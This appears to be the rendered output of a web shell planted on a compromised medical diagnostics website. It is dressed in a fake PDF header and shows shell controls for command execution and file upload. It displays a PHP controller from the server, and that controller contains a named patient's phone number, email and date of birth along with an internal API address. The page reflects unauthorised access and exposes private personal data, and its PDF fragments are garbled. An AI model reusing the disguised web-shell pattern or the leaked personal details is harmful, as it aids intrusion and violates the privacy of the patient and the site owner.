%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/controllers/Hisapi.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

require APPPATH . 'libraries/REST_Controller.php';
class Hisapi extends MY_Controller
{
    private $allowed_img_types;
    function __construct()
    {
        parent::__construct();
	    $this->load->model(array('Api_model'));
       
    }
	
	/*
	* Get common items
	* /api/PatientApp/GetPatientList
	*/

	public function index()
	{
		echo 'TEST';
		die;
	}
	/*
	* Get All Products
	* /api/PatientApp/GetPatientList
	*/

    public function getPatientList()
    {
		$url = 'http://103.101.118.15:2010/api/PatientApp/CreatePatient';
		$paramsArray = array("FacilityCode"=>"3",
		"MobileNo"=>"8920976831",
		"RegistrationNo"=>"789492",
		"EmailId"=>"amkverma@gmail.com",
		"DOB"=>"19900825",
		"PatientName"=>"Amit Verma",
		"NationalityId"=>"0"
		);
		
        $response = $this->getResultApi($url, $paramsArray);

        /*// Check if the products data store contains products (in case the database result returns NULL)
        if ($response) {
            // Set the response and exit
            $this->response($response, REST_Controller::HTTP_OK); // OK (200) being the HTTP response code
        } else {
            // Set the response and exit
            $this->response([
                'status' => FALSE,
                'message' => 'No response were found'
                    ], REST_Controller::HTTP_NOT_FOUND); // NOT_FOUND (404) being the HTTP response code
        }*/
    }
	/*
	*
	* Function : getResultApi
	* Params : pass api Url and variables
	* Createdon : 25 Oct 2021
	*
	*/
	public function getResultApi($url, $params){ 
		
		try {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_POST,1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,$params);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
			curl_setopt($ch, CURLOPT_HEADER,0);
			// DO NOT RETURN HTTP HEADERS
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			// RETURN THE CONTENTS OF THE CALL
			$return_val = curl_exec($ch);
			$response = true;
			//Print error if any
			if(curl_errno($ch))
			{
			$response =  'error:' . curl_error($ch);
			}
			curl_close($ch);
			print_r($response); die;
			return $response;
		} catch (Exception $e) {
			echo 'Caught exception: ',  $e->getMessage(), "\n"; die('TEST');
		}
		
   }

}

Kontol Shell Bypass